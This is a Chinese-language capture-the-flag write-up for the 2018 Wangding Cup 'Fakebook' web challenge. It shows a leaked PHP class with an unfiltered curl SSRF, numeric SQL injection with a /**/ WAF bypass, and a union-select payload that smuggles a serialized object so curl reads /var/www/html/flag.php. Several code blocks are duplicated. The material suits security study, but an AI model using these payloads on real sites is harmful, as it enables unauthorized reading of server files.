解题思路
首先登陆页面发现是这样的:
![图片[1]-[网鼎杯 2018]Fakebook-安全小天地](https://img.godyu.com/2023/12/20231226130013639.png?imageView2/0/format/webp/q/75)
源码很正常,也没有什么特别的
web 目录扫描
获取到robots.txt
下面有一个备份文件
<?phpclass UserInfo{public $name = \"\";public $age = 0;public $blog = \"\";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match(\"/^(((http(s?))\\:\\/\\/)?)([0-9a-zA-Z\\-]+\\.)+[a-zA-Z]{2,6}(\\:[0-9]+)?(\\/\\S*)?$/i\", $blog);}}<?php class UserInfo { public $name = \"\"; public $age = 0; public $blog = \"\"; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match(\"/^(((http(s?))\\:\\/\\/)?)([0-9a-zA-Z\\-]+\\.)+[a-zA-Z]{2,6}(\\:[0-9]+)?(\\/\\S*)?$/i\", $blog); } }<?php class UserInfo { public $name = \"\"; public $age = 0; public $blog = \"\"; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match(\"/^(((http(s?))\\:\\/\\/)?)([0-9a-zA-Z\\-]+\\.)+[a-zA-Z]{2,6}(\\:[0-9]+)?(\\/\\S*)?$/i\", $blog); } }
审计源码
直接是一个 UserInfo 类,三个属性,get 函数中存在 ssrf,且没有过滤。curl 可用 file 协议,blog 属性调用了 get 函数,所以这里使用 file 协议读取文件。file:///var/www/html/flag.php
正常解题
首先肯定要 join,即注册一个用户
提示注册成功。
get 注入
注册后发现可以点击自己的 username,点击之后,观察 url 可能存在 get 注入。sqlmap 跑一下。sqlmap 跑不出来,手动检测,是数字型注入。union select 发现有 waf,用 /**/ 即可绕过。union /**/select. 回显位置是第二位,往下注注注。
数据库名:fakebook 表名:users 列名:data ,发现是序列化的数据,可知对我们注册的姓名,年龄,博客地址进行了序列化
![图片[2]-[网鼎杯 2018]Fakebook-安全小天地](https://img.godyu.com/2023/12/20231226210014827.png?imageView2/0/format/webp/q/75)
并且发现爆出路径:/var/www/html/
cuit_init()用来初始化一个curl会话,curl可以使用file伪协议读取文件。
路径上面报出来了
使用这个协议可以直接读取文件
反序列化
可以利用的变量在构造函数中,反序列化对象会自动执行构造函数。所以我们编写脚本,将需要构造的 ssrf 放在 blog 属性中,让其在反序列化时被调用
<?phpclass UserInfo{public $name=\"aaa\";public $age=\"11\";public $blog=\"file:///var/www/html/flag.php\";}$user =new UserInfo();echo serialize($user);?><?php class UserInfo { public $name=\"aaa\"; public $age=\"11\"; public $blog=\"file:///var/www/html/flag.php\"; } $user =new UserInfo(); echo serialize($user); ?><?php class UserInfo { public $name=\"aaa\"; public $age=\"11\"; public $blog=\"file:///var/www/html/flag.php\"; } $user =new UserInfo(); echo serialize($user); ?>
因为 blog 在第四位,所以 paylaod:
?no=-1/**/union/**/select/**/1,2,3,\'O:8:\"UserInfo\":3:{s:4:\"name\";s:4:\"test\";s:3:\"age\";i:123;s:4:\"blog\";s:29:\"file:///var/www/html/flag.php\";}\'?no=-1/**/union/**/select/**/1,2,3,\'O:8:\"UserInfo\":3:{s:4:\"name\";s:4:\"test\";s:3:\"age\";i:123;s:4:\"blog\";s:29:\"file:///var/www/html/flag.php\";}\'?no=-1/**/union/**/select/**/1,2,3,\'O:8:\"UserInfo\":3:{s:4:\"name\";s:4:\"test\";s:3:\"age\";i:123;s:4:\"blog\";s:29:\"file:///var/www/html/flag.php\";}\'
注入后 blog 栏显示 file:///var/www/html/flag.php,此时即代表注册成功。查看源码:
iframe 标签中读取了 flag.php 中的内容。flag为flag{6d638469-2dc3-49b0-9ca4-6e77500ee91d}
暂无评论内容